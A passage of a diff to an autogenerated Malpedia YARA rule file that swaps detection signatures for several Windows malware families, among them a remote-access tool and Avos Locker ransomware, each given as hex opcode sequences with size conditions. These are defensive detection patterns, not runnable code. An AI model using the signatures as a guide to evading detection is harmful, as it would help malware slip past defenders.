= { 66895dec 8bf3 8afb 8bc6 8a9c35ecfeffff } + $sequence_5 = { 8d4df0 51 8d4df8 51 6a01 6aff 52 } + $sequence_6 = { 57 ffd6 57 8945fc ffd6 59 59 } + $sequence_7 = { ba0a010000 b9???????? e8???????? 83ec0c be???????? } + $sequence_8 = { ff75f4 ff15???????? 8b45e8 5e } + $sequence_9 = { 8d742414 c744241401234567 c744241889abcdef c744241cfedcba98 } + $sequence_10 = { 8945fc 8a040a 8801 41 } + $sequence_11 = { c645ff00 897df8 3bdf 0f84ad010000 8b4634 } + $sequence_12 = { 807d1000 50 ff7508 740c } + $sequence_13 = { 8b4508 c7403401000000 8b45f8 3bc6 } + $sequence_14 = { 765c 837c241000 7655 51 e8???????? 59 } condition: - 7 of them and filesize < 1377280 + 7 of them and filesize < 131072 } -rule MALPEDIA_Win_Spaceship_Auto : FILE +rule MALPEDIA_Win_Spybot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e9646ae9-48ad-52ca-8e30-ca37f230b031" + id = "f487b739-5a23-52d3-8b27-57437fc4fe82" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spaceship" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spaceship_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spybot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spybot_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "918a94f75a146e2a40061812363f222c7587d1698068cc2f3629d9e72d72f097" + logic_hash = "086db381edc017239cf316ebb3a9419f50149c95f9ac3a29e8ecb7d10b4a280d" score = 75 quality = 75 tags = "FILE" @@ -142055,32 +141819,32 @@ rule MALPEDIA_Win_Spaceship_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68???????? f2ae 8bcb 4f c1e902 f3a5 8bcb } - $sequence_1 = { 66395cc416 f3a4 74c1 81e2ffff0000 83c9ff 03d0 33c0 } - $sequence_2 = { 66c78424bc0100000d00 66898424be010000 c78424c00100001c6b4100 66c78424c40100002500 } - $sequence_3 = { 8bcb 83e103 f3a4 83c9ff bf???????? f2ae f7d1 } - $sequence_4 = { f2ae 8bcb 4f c1e902 f3a5 8b45f0 } - $sequence_5 = { 80a0c0d9410000 40 3bc6 72be 5e c9 c3 } - $sequence_6 = { 6a00 6810040000 ff15???????? 8bf0 56 ffd5 } - $sequence_7 = { 66899c24e6040000 c78424e80400001c674100 66c78424ec0400004a00 66899c24ee040000 c78424f004000014674100 66c78424f40400001e00 66899c24f6040000 } - $sequence_8 = { 8a441c0c 8d741c0c 84c0 75bc 5f 5e } - $sequence_9 = { c7842408050000f8664100 66c784240c0500002000 6689ac240e050000 c7842410050000f0664100 66899c2414050000 6689842416050000 c7842418050000e4664100 } + $sequence_0 = { 8975f8 8975f0 68???????? ff750c ff7508 e8???????? 83c418 } + $sequence_1 = { 6a03 8b5c2414 99 59 33ff f7f9 8bf2 } + $sequence_2 = { 59 e9???????? 57 68???????? e8???????? 59 85c0 } + $sequence_3 = { 33f6 ff7508 56 ff15???????? 85c0 7429 } + $sequence_4 = { 33f6 ffb56cffffff 57 e8???????? 59 85c0 59 } + $sequence_5 = { 8945f0 8945f4 8945f8 8945fc a1???????? 85c0 7411 } + $sequence_6 = { 8bb43570ffffff 3bf3 897508 0f8469a4ffff 399d54ffffff 0f855da4ffff 68???????? } + $sequence_7 = { ff7020 8d85fcfdffff 68???????? 50 e8???????? 6a01 } + $sequence_8 = { ff7514 8975fc e8???????? 56 8945ec ff7510 897514 } + $sequence_9 = { e9???????? ffb570ffffff 68???????? e8???????? 59 85c0 59 } condition: - 7 of them and filesize < 262144 + 7 of them and filesize < 2367488 } -rule MALPEDIA_Win_Taidoor_Auto : FILE +rule MALPEDIA_Win_Sierras_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ba437ab9-6c90-576a-83d2-5801ebb87e42" + id = "a99a7c2f-d459-55f5-a4a0-be6e81d58ab8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.taidoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.taidoor_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sierras" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sierras_auto.yar#L1-L181" license_url = "N/A" - logic_hash = "7b8ed6f15654e580fefed39d2d4fea0473e69a1fd6a98339a075f2fbcf4be749" + logic_hash = "b308bc717193dd71ac31a34af288e6c64991ecd536fc577f8480631d4b62be23" score = 75 quality = 75 tags = "FILE" @@ -142094,32 +141858,38 @@ rule MALPEDIA_Win_Taidoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7433 ff750c 889c05f4fbffff 50 8d85f4fbffff 6a01 50 } - $sequence_1 = { 395d10 7e1b 56 8b450c } - $sequence_2 = { 897df0 50 56 e8???????? 8b3d???????? 83f86f 750c } - $sequence_3 = { 83a00401000000 b001 c9 c20800 8b8104010000 } - $sequence_4 = { 7e24 8a0406 fec0 3c3a 8845ec } - $sequence_5 = { 57 a0???????? c745fc01000000 8ac8 f6d9 1bc9 33db } - $sequence_6 = { b940420f00 f7f9 8d45e0 52 ff35???????? ff35???????? } - $sequence_7 = { e9???????? 8d4de0 e8???????? 8d8588f7ffff 50 ff35???????? ffd6 } - $sequence_8 = { ff75ec 8d4df0 e8???????? 8b450c 46 3b70f8 7cdc } - $sequence_9 = { 53 50 53 c7458844000000 } + $sequence_0 = { e9???????? 8dbc24fc000000 83c9ff 33c0 f2ae } + $sequence_1 = { 83c408 8d94242c070000 52 ffd5 83f8ff 7516 8d84241c030000 } + $sequence_2 = { 8974243c 741a 56 57 e8???????? 83c660 83c408 } + $sequence_3 = { 817e601e010000 89465c 895df0 773e 837e641e 7738 } + $sequence_4 = { 017514 03fb 3b7d10 72b0 8b5df0 834dfcff 8d4de0 } + $sequence_5 = { f6461104 745f 83ff10 7321 837df800 0f84440d0000 8b45fc } + $sequence_6 = { ffd6 57 ffd6 8bc3 5b 5f 5e } + $sequence_7 = { ffd7 c745fcffffffff e8???????? 33c0 8b4df0 64890d00000000 } + $sequence_8 = { 897dfc 0f8cc0000000 837d0801 7e58 } + $sequence_9 = { 33c0 f2ae f7d1 49 0f8452030000 8d8c24fc000000 } + $sequence_10 = { 56 8bf1 57 68???????? 8d8608020000 50 ff15???????? } + $sequence_11 = { 8bc3 837d0800 50 8b450c 7511 8b4dec } + $sequence_12 = { 57 e8???????? 85c0 750d ff15???????? } + $sequence_13 = { c3 56 8bf1 e8???????? 8b8610010000 } + $sequence_14 = { 56 50 7507 e8???????? eb05 e8???????? 0175f0 } + $sequence_15 = { 837d0803 0f8fb0000000 397d10 897df0 0f86a4000000 8b7d14 8b450c } condition: - 7 of them and filesize < 49152 + 7 of them and filesize < 131072 } -rule MALPEDIA_Win_Attor_Auto : FILE +rule MALPEDIA_Win_Veletrix_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9165df3a-0588-5937-bb39-c85fa6fb26bb" + id = "a5f5b762-13c6-553b-b699-839d4e6ceb4f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.attor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.attor_auto.yar#L1-L164" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.veletrix" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.veletrix_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "0c87726814bf53a9906b73b9a1468bc9095c79fe1e564f252fa0222653b1264a" + logic_hash = "caf3f0b619f428452505d9ee8537497d80964f351312a5e0d2c1e4059a2feec7" score = 75 quality = 75 tags = "FILE" @@ -142133,40 +141903,34 @@ rule MALPEDIA_Win_Attor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83f801 7411 3d81000000 740a } - $sequence_1 = { 488bea 4c8be1 4889742440 4885c9 } - $sequence_2 = { 0f84aa000000 4885d2 0f84a1000000 48895c2448 488d5a08 } - $sequence_3 = { 498bcd e8???????? 4c8b6c2448 4d85e4 } - $sequence_4 = { 48896810 488970e0 488978d8 33db 4c8970d0 4532e4 33f6 } - $sequence_5 = { 4885c9 7427 488b842490000000 48899c2490000000 } - $sequence_6 = { 4889442430 e8???????? 48399c2480000000 0f84ef000000 } - $sequence_7 = { 4c8b6c2448 4d85e4 740f 33c9 e8???????? } - $sequence_8 = { 83c404 83e103 f3aa 8b442414 85c0 } - $sequence_9 = { 8bcf 8b7c2414 8bd1 33c0 c1e902 } - $sequence_10 = { 740a 83f808 7405 83f811 } - $sequence_11 = { 33ff 3bf7 c644241300 897c2418 897c241c 897c2414 0f8423010000 } - $sequence_12 = { ff15???????? 89442420 8d442414 8d4c2420 50 51 } - $sequence_13 = { 7411 6a00 e8???????? 56 ff15???????? 83c408 8b442430 } - $sequence_14 = { 57 ffd6 83c408 8b7c2428 85ff 740d } - $sequence_15 = { e8???????? 83c40c 3bc7 8944241c 0f84f3000000 } + $sequence_0 = { 7408 488bc2 e9???????? 4d3bc4 0f84d9000000 8b7500 498b9cf6c0920100 } + $sequence_1 = { f20f59ee f20f5ce9 f2410f1004c1 488d1576860000 f20f1014c2 } + $sequence_2 = { 85c0 742a 488bc5 4c8d05f5250100 488bcd 48c1f906 83e03f } + $sequence_3 = { e8???????? 33db 8bf8 85c0 0f8453020000 4c8d2d461a0100 448bf3 } + $sequence_4 = { 4c8d0d057c0000 c5f359c1 c5fb101d???????? c5fb102d???????? c4e2f1a91d???????? c4e2f1a92d???????? f20f10e0 } + $sequence_5 = { c7459856697274 488bcb c7459c75616c50 4c8be0 c745a0726f7465 } + $sequence_6 = { e8???????? 488b8f90000000 483b0d???????? 7417 488d05243d0100 } + $sequence_7 = { 4c8d4c2448 488b4f10 41b840000000 ff542430 8b4f04 ba00080000 } + $sequence_8 = { 48894df7 488945ef 488d0d8668ffff 83e03f 458be9 4d03e8 4c8945df } + $sequence_9 = { 4c896daf 49c1fc06 4c8d34c0 4a8b84e100970100 4a8b44f028 } condition: - 7 of them and filesize < 2023424 + 7 of them and filesize < 234496 } -rule MALPEDIA_Win_Sedll_Auto : FILE +rule MALPEDIA_Win_Redsalt_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c98327c8-f977-5098-aace-6f65383d00ba" + id = "a92418fc-758f-521f-ba9d-200fd663af62" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sedll" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sedll_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redsalt" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.redsalt_auto.yar#L1-L221" license_url = "N/A" - logic_hash = "df74daada1e394daccd88b8caf7c67ee5c703bfd5e5886cc476e5ba06e59b034" + logic_hash = "50c9943074c934238ab56a2e724604fcafa0395a42717f2167a9dcfc691be6fb" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -142178,32 +141942,47 @@ rule MALPEDIA_Win_Sedll_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff75fc f30f7f45dc 6a00 6a00 6a00 } - $sequence_1 = { 741e 8bd3 8d4a01 8d642400 8a02 } - $sequence_2 = { 5e 8908 33c0 5d c20c00 8b4510 33c9 } - $sequence_3 = { 8d55f8 52 c745f800000000 68???????? 8b08 50 ff11 } - $sequence_4 = { 7412 f30f6f05???????? 8b4520 f30f7f00 830e04 f6c101 7426 } - $sequence_5 = { 83c604 83ef04 73ef 8b4d08 8b4510 51 8908 } - $sequence_6 = { 8bf0 83c404 8975e8 85f6 7507 5f } - $sequence_7 = { 7c7e 8d9b00000000 0fb60f 83c604 c1e902 } - $sequence_8 = { 50 8b4508 03c6 50 53 ff15???????? 85c0 } - $sequence_9 = { 884e01 885602 83c603 33c9 47 3bfb } + $sequence_0 = { 83c414 33c9 83f8ff 0f95c1 } + $sequence_1 = { 750b 68e8030000 ff15???????? e8???????? } + $sequence_2 = { 51 ffd6 85c0 7510 } + $sequence_3 = { c745d060ea0000 6a04 8d45d0 50 6806100000 68ffff0000 } + $sequence_4 = { e8???????? 85c0 750a 6a32 } + $sequence_5 = { 85c0 7515 c705????????01000000 ff15???????? e9???????? } + $sequence_6 = { 740d 68???????? e8???????? 83c404 833d????????02 } + $sequence_7 = { 83c9ff 85f6 7c0e 83fe7f 7f09 } + $sequence_8 = { 6a00 52 c744242401000000 8944242c c744243002000000 } + $sequence_9 = { 7509 80780120 7503 83c002 } + $sequence_10 = { 83c40c eb02 33c0 8b4df4 } + $sequence_11 = { c60100 5f 5e 33c0 } + $sequence_12 = { 8d8530fcffff 50 e8???????? 83c40c } + $sequence_13 = { e8???????? 83c408 6800010000 68???????? } + $sequence_14 = { c6450000 5e 5d 8911 33c0 } + $sequence_15 = { f7e7 8bea d1ed 33c0 83ef03 8a06 } + $sequence_16 = { c1fa04 c0e302 0ad3 83c004 } + $sequence_17 = { 833800 750f c705????????01000000 e9???????? } + $sequence_18 = { c644243423 c644243572 c64424367a c644243700 } + $sequence_19 = { d2cc bbe3b46b7e 6aa2 dd45ff } + $sequence_20 = { de6c58ae c8201cdd f7be5b408d58 1b7f01 d2cc } + $sequence_21 = { e8???????? 89ff 152edf0800 488b5c2440 } + $sequence_22 = { e8???????? 89fa 4989d8 4889c1 e8???????? } + $sequence_23 = { e8???????? 89f8 eb26 f6411840 7406 } + $sequence_24 = { e8???????? 8b05???????? 0d80000000 8905???????? } condition: - 7 of them and filesize < 65536 + 7 of them and filesize < 2957312 } -rule MALPEDIA_Win_Cheesetray_Auto : FILE +rule MALPEDIA_Win_Webc2_Ugx_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9541e7b5-55cf-5f67-8b69-be87df55796a" + id = "7a191507-05f1-515e-ae93-69990858de4e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cheesetray" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cheesetray_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ugx" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_ugx_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "8cd561aadd1b5e2f7790bac0781a0595445a0cbe8294d61c87c9d05b79f48756" + logic_hash = "da5aed5a4142e6d6386e692fafe9cfc551187544798ccc57d23b8cb2bec2ee67" score = 75 quality = 75 tags = "FILE" @@ -142217,32 +141996,32 @@ rule MALPEDIA_Win_Cheesetray_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83b8a400000000 894d10 7666 8b88a0000000 8b0419 03cb 85c0 } - $sequence_1 = { 8b0c8d80ce4400 83e01f c1e006 8d440124 8b4d10 8a10 } - $sequence_2 = { 75f7 03c0 50 8d4dfc 51 52 e8???????? } - $sequence_3 = { 8b8c24a4000000 83c40c 6a02 51 68???????? ba1f000000 } - $sequence_4 = { 81ec84000000 56 6880000000 6a00 8d4580 50 e8???????? } - $sequence_5 = { 56 6800100000 6a03 56 6a03 6800000080 57 } - $sequence_6 = { 8b5318 52 e8???????? 8b4314 50 e8???????? 83c414 } - $sequence_7 = { 40 8945fc 3b85f8feffff 72ad 8b4508 6a00 6a00 } - $sequence_8 = { 720e 8b4c2410 3b4c2420 0f83b1000000 8b3d???????? 8d9b00000000 68ff1f0000 } - $sequence_9 = { 8d4df4 51 56 e8???????? 6a04 8d9594fdffff } + $sequence_0 = { ff969c060000 3bc3 89458c 0f8497030000 } + $sequence_1 = { 57 ff969c060000 3bc3 8945d8 0f8487020000 } + $sequence_2 = { 50 ff7508 ff969c060000 3bc3 8945bc 0f84a2040000 8b7db4 } + $sequence_3 = { ff55c0 57 ff55f8 ff55e8 } + $sequence_4 = { 50 e8???????? 6a01 6a10 57 68420d0000 } + $sequence_5 = { aa 33c0 8d7d9d 885d9c c645d47a ab ab } + $sequence_6 = { 50 ff15???????? 85c0 7455 8d85a8feffff } + $sequence_7 = { 8d86a4080000 50 57 ff969c060000 3bc3 894594 0f84a7020000 } + $sequence_8 = { f3ab 66ab aa 33c0 8d7de9 885de8 8b7508 } + $sequence_9 = { e9???????? 8d86ae090000 50 57 ff969c060000 3bc3 8945c0 } condition: - 7 of them and filesize < 8626176 + 7 of them and filesize < 57344 } -rule MALPEDIA_Win_Roll_Sling_Auto : FILE +rule MALPEDIA_Win_Hunter_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "291394b2-c9d5-58b3-b157-b1e8265d7d6c" + id = "114c619e-d3db-54d7-bef7-7645d901bc94" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roll_sling" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.roll_sling_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hunter" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hunter_auto.yar#L1-L90" license_url = "N/A" - logic_hash = "fde2b7753670b142ee16bd9c69d80bdb5da3ac212825981d31dd1e2015cde6f5" + logic_hash = "776a5d8eb049aeb15b1138e40f903b0e7294cf0475240df008d707aa37c36610" score = 75 quality = 75 tags = "FILE" @@ -142256,34 +142035,32 @@ rule MALPEDIA_Win_Roll_Sling_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ba04000000 488bcf e8???????? 498bce 48833d????????10 480f430d???????? } - $sequence_1 = { 492bd0 4803d7 e8???????? 4533c9 4533c0 } - $sequence_2 = { 42385cf839 0f84ca000000 488d05a9ee0000 4a8b0ce8 488d55f0 4a8b4cf928 } - $sequence_3 = { 4c8d0d63b40000 8bda 4c8d0552b40000 488bf9 488d1550b40000 b904000000 e8???????? } - $sequence_4 = { 440f44d2 0fb74806 41ffc4 4c8b442468 4883c328 443be1 } - $sequence_5 = { 4883c227 4d8b6df8 492bc5 4883c0f8 4883f81f 0f877c040000 498bcd } - $sequence_6 = { 483bc3 7306 4c8bf3 488bd8 4533c9 4c8bc3 } - $sequence_7 = { 448bb090000000 4d03f7 498bce ff15???????? 85c0 0f8530010000 } - $sequence_8 = { eb14 4889742420 4c8d4da0 488bd6 } - $sequence_9 = { 4c89742428 4c897c2420 e8???????? 488bcb 488bf0 e8???????? } + $sequence_0 = { 0000 9c 35a035a435 a835 } + $sequence_1 = { 0145f4 8d45b4 8b55f0 8b4de4 } + $sequence_2 = { 01442428 59 11742428 85db } + $sequence_3 = { 0145e8 8d838e000000 3bc2 8b45e8 } + $sequence_4 = { 01442444 53 11542444 51 } + $sequence_5 = { 0103 115304 e9???????? 8b4c241c } + $sequence_6 = { 014140 89413c 899604010000 e9???????? } + $sequence_7 = { 00443907 8a043a 88043b 8a443a01 } condition: - 7 of them and filesize < 299008 + 7 of them and filesize < 1056768 } -rule MALPEDIA_Win_Unidentified_076_Auto : FILE +rule MALPEDIA_Win_Flawedammyy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "320fec8e-f3fe-5339-a2f9-df370980c853" + id = "e3c09ec0-5af5-5a07-8c2f-fc3c122b7323" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_076" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_076_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedammyy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flawedammyy_auto.yar#L1-L303" license_url = "N/A" - logic_hash = "d906c6adbfb453b72e8affe711020332823b8e590c569caecb0bdba54a063334" + logic_hash = "4b49ab8817339f4687e717d3eeefa35a990a787f8625678c6db9867d20e78208" score = 75 - quality = 75 + quality = 33 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -142295,32 +142072,54 @@ rule MALPEDIA_Win_Unidentified_076_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f95c3 488b6c2438 488b742440 488b7c2448 8bc3 488b5c2430 4883c420 } - $sequence_1 = { 85c0 7f2d 488b86c8000000 33db ff9050010000 41b8fe010000 488bce } - $sequence_2 = { 4155 4156 4881ec20010000 488b81c8000000 488bd9 488bf2 488d4c2440 } - $sequence_3 = { 498bcc ff9020070000 488b8e50020000 488b96c8000000 4963c6 4869d814030000 } - $sequence_4 = { 03d0 41ffc9 75f0 443bda 0f8524010000 44895f30 896f34 } - $sequence_5 = { 41b900008000 ba0e660000 4c89742420 ff9080050000 85c0 7522 488b87c8000000 } - $sequence_6 = { ffc1 448bf2 483bc8 0f86b2000000 bf08000000 eb03 4803ff } - $sequence_7 = { 488b81c8000000 498bc8 ff9080000000 33c9 33d2 4c63c0 85c0 } - $sequence_8 = { 488bcb 448d4202 e8???????? 488b93c8000000 488d4df0 ff92f0070000 83a3c802000000 } - $sequence_9 = { 0fb74603 440fb6c0 c1e808 41c1e008 440bc0 41833e00 44894530 } + $sequence_0 = { 0022 8a4200 828a4200bb8a42 00ff } + $sequence_1 = { 004bbf 42 0062bf 42 } + $sequence_2 = { ffd3 f30f7e45ec 8b4df4 83ec10 8b11 } + $sequence_3 = { 68???????? 8d4df0 e8???????? 8b00 85c0 7404 8b10 } + $sequence_4 = { 8d8da0f6ffff 6a00 6a23 51 6a00 ffd0 8b35???????? } + $sequence_5 = { 0062bf 42 0079bf 42 } + $sequence_6 = { 68f1cbf7ae 6a01 e8???????? 83c408 } + $sequence_7 = { 002a e342 0039 e342 } + $sequence_8 = { ff5108 8b45fc 50 8b08 ff5108 8b45e4 } + $sequence_9 = { 59 8b7d08 833cfde897410000 755b } + $sequence_10 = { 0039 e342 0048e3 42 } + $sequence_11 = { 0000 0404 0404 0404 0401 } + $sequence_12 = { 83ec10 660fd600 f30f7e45ac 660fd64008 f30f7e8578ffffff 8bc4 } + $sequence_13 = { c78508ffffff44000000 66898538ffffff e8???????? 83c404 85c0 7511 68???????? } + $sequence_14 = { 00b3854200e5 854200 37 864200 } + $sequence_15 = { 0018 874200 58 874200 } + $sequence_16 = { 7e09 8a0e 880a 4a 4e 48 75f7 } + $sequence_17 = { ff75ac 8b3d???????? ffd7 ff75a8 } + $sequence_18 = { 5e 5b c3 55 8bec 81ec5c040000 } + $sequence_19 = { e9???????? 33c0 8b7df4 8b0c855c303400 c1e705 } + $sequence_20 = { 53 ff75dc 6813100000 ff35???????? ffd6 } + $sequence_21 = { ff15???????? eb08 6a64 ff15???????? 53 ff75a8 ff15???????? } + $sequence_22 = { eb0e 8b14957c303400 49 0fafd1 0155fc } + $sequence_23 = { 7426 8b483c ba???????? 03c8 50 66c741160e01 66c7415c0300 } + $sequence_24 = { 8b0c855c303400 c1e705 33d2 03fe } + $sequence_25 = { 0f872affffff 0fb6805a213400 ff2485f6203400 8b8614080000 3b45f4 7e03 8945f4 } + $sequence_26 = { 7516 68???????? e8???????? 53 ff15???????? e9???????? } + $sequence_27 = { 56 8a0a 80f930 7569 } + $sequence_28 = { c745e8ff000000 8b3c857c303400 c745ecffff0000 0faff9 83f801 c745f0ffffff00 741f } + $sequence_29 = { 8b4d08 8a0408 a2???????? eb07 c605????????00 c705????????4c403400 ff7508 } + $sequence_30 = { 7518 8b46f8 8b04855c303400 c1e002 50 6a40 } + $sequence_31 = { 83f907 0f8781000000 ff248dfd243400 881f eb76 ff30 eb63 } condition: - 7 of them and filesize < 114688 + 7 of them and filesize < 1350656 } -rule MALPEDIA_Win_Sepsys_Auto : FILE +rule MALPEDIA_Win_Avos_Locker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c07920dc-ecf4-5d0c-836a-1794c74b71bf" + id = "039bebd7-5f26-5f3f-b924-0aa65f143ed6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sepsys" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sepsys_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avos_locker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.avos_locker_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "50eb49ac3d5f5dfe611a451c1ec48caa70453cd380c122b00dd8d016e6744ba5" + logic_hash = "25a4044828a799f02250311dfaed2866f19c9739199bc4c05e8d323abbd8f547" score = 75 quality = 75 tags = "FILE" @@ -142334,32 +142133,32 @@ rule MALPEDIA_Win_Sepsys_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e9???????? 8b542430 488b4c2470 e8???????? 668944243c 0fb744243c 83f805 } - $sequence_1 = { e8???????? 4889842490000000 e9???????? 488b8424e8000000 4889842458010000 488b8424f0000000 4889842460010000 } - $sequence_2 = { 49f7d0 4d01e0 4883e003 7424 31c9 0f1f840000000000 8d140f } - $sequence_3 = { e8???????? 488955b8 488945b0 eb00 c6450700 4889e0 488b4db8 } - $sequence_4 = { 8b5511 8b5d14 895518 895d1b c6460802 8b11 8b4903 } - $sequence_5 = { 8b1488 448b85f4050000 488d8518040000 488985500a0000 488b8d500a0000 89957c010000 44898578010000 } - $sequence_6 = { e8???????? eb00 488d8d80000000 488d95a0000000 e8???????? eb00 8b8580000000 } - $sequence_7 = { e9???????? 4c8d4c243f 4c8d44243c 488b942450020000 488b842450020000 488b4810 e8???????? } - $sequence_8 = { e9???????? 807c243400 4c8b6c2440 0f8437020000 4889f9 4889f2 e8???????? } - $sequence_9 = { d3e0 488b4c2448 8b4c8c50 0bc8 8bc1 89442444 8b442420 } + $sequence_0 = { 8d8d80fbffff e8???????? 888595fbffff 6a20 8d8d80fbffff e8???????? 888596fbffff } + $sequence_1 = { 83fe1a 7ce4 eb0c 57 8d44241c 50 ff15???????? } + $sequence_2 = { c7462800000000 c7462c00000000 0f114618 c645c000 f30f7e45d0 660fd64628 c745d000000000 } + $sequence_3 = { 64a300000000 8bf1 8975ec c745fc00000000 6a24 c745f000000000 e8???????? } + $sequence_4 = { 8955ec 3bda 7467 8b4208 8b4b08 8b730c } + $sequence_5 = { 8d46ec 6a00 50 ff15???????? 85c0 0f8506080000 8b4604 } + $sequence_6 = { 50 e8???????? 83c40c 6b45e430 8945e0 8d8090f74b00 8945e4 } + $sequence_7 = { 66890451 33c0 6689445102 59 c20400 ff742408 c644240400 } + $sequence_8 = { 8bcc 89a54cf7ffff 68???????? e8???????? c645fc35 8d85b8f9ffff 50 } + $sequence_9 = { 8b11 8d4201 8901 8a442413 8802 0fb6c0 eb0b } condition: - 7 of them and filesize < 4538368 + 7 of them and filesize < 1701888 } -rule MALPEDIA_Win_Sdbbot_Auto : FILE +rule MALPEDIA_Win_Prometei_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e5ddf82d-6516-5715-9fa8-b1a6bdbb883d" + id = "62ace16c-b0c3-554c-a9f7-6209373c3e72" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sdbbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sdbbot_auto.yar#L1-L180" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.prometei" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.prometei_auto.yar#L1-L160" license_url = "N/A" - logic_hash = "a7c9bbefe17c51ab7bd282fe70d8133f645f1f7f65d3be7e33bd1c26f76ee007" + logic_hash = "9dde111159215a62fc6cb6707e61b66d4977093dee25c22cb9e592670f784bca" score = 75 quality = 75 tags = "FILE" @@ -142373,39 +142172,38 @@ rule MALPEDIA_Win_Sdbbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 03f3 8b17 03d3 33c9 8a02 } - $sequence_1 = { 8b5df0 8bbb80000000 03fe 897dec 833f00 0f847d000000 } - $sequence_2 = { 2b7b34 8955ec 85d2 0f84ae000000 8b83a0000000 03c6 } - $sequence_3 = { 56 57 c745e400000000 895df4 895de0 } - 